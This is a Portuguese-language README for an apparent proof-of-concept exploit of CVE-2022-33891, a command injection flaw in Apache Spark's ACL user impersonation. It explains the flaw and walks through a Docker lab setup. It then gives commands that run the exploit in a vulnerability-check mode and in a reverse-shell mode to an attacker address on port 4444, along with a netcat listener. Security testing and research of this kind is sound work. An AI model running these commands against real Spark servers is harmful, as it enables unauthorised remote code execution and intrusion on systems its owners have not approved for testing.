
Prova de conceito de exploit para injeção de comandos no Apache Spark (CVE-2022-33891) com modos de verificação e shell reverso, permitindo testes de segurança autorizados.
⚠️ Apenas para fins educacionais e de pesquisa de segurança autorizados
Muito grato ao autor original do PoC AkbarTrilaksana
A interface do Apache Spark oferece a possibilidade de habilitar ACLs através da opção de configuração spark.acls.enable. Com um filtro de autenticação, isso verifica se um usuário tem permissões de acesso para visualizar ou modificar a aplicação. Se as ACLs estiverem habilitadas, um caminho de código no HttpSecurityFilter pode permitir que alguém faça impersonação fornecendo um nome de usuário arbitrário. Um usuário malicioso pode então ser capaz de alcançar uma função de verificação de permissão que, em última análise, construirá um comando Unix shell com base em sua entrada e o executará. Isso resultará na execução arbitrária de comandos shell como o usuário que está executando o Spark. Isso afeta as versões do Apache Spark 3.0.3 e anteriores, versões 3.1.1 a 3.1.2 e versões 3.2.0 a 3.2.1.
Primeiro, clone o repositório
git clone https://github.com/asepsaepdin/CVE-2022-33891.git
Mude o diretório
cd CVE-2022-33891
Instale as dependências:
pip3 install -r requirements.txt --break-system-packages
Inicie o container
docker compose up
Em um novo terminal, execute o comando
docker exec -it CVE-2022-33891-spark-1 /bin/bash
Na sessão bash do contêiner, digite:
echo "spark.acls.enable true" >> conf/spark-defaults.conf
Opcionalmente, use cat para ver o conteúdo do arquivo spark-defaults.conf e garantir que está correto.
Saia do shell bash interativo e pressione Ctl-C no seu processo docker-compose.
Assim que os contêineres forem desligados corretamente, execute novamente docker-compose up
docker compose up
Verifique se o alvo é vulnerável:
python3 poc.py -u http://localhost -p 8080 --check
Do ponto de vista do atacante, a execução remota de código é crítica para obter acesso a um shell interativo. Portanto, executar o comando abaixo acionaria um shell reverso telnet sobre tcp baseado em bash para o sistema do atacante na porta 4444/tcp:
python3 poc.py -u http://localhost -p 8080 --revshell -lh 172.16.10.24 -lp 4444
nc -nlvp 4444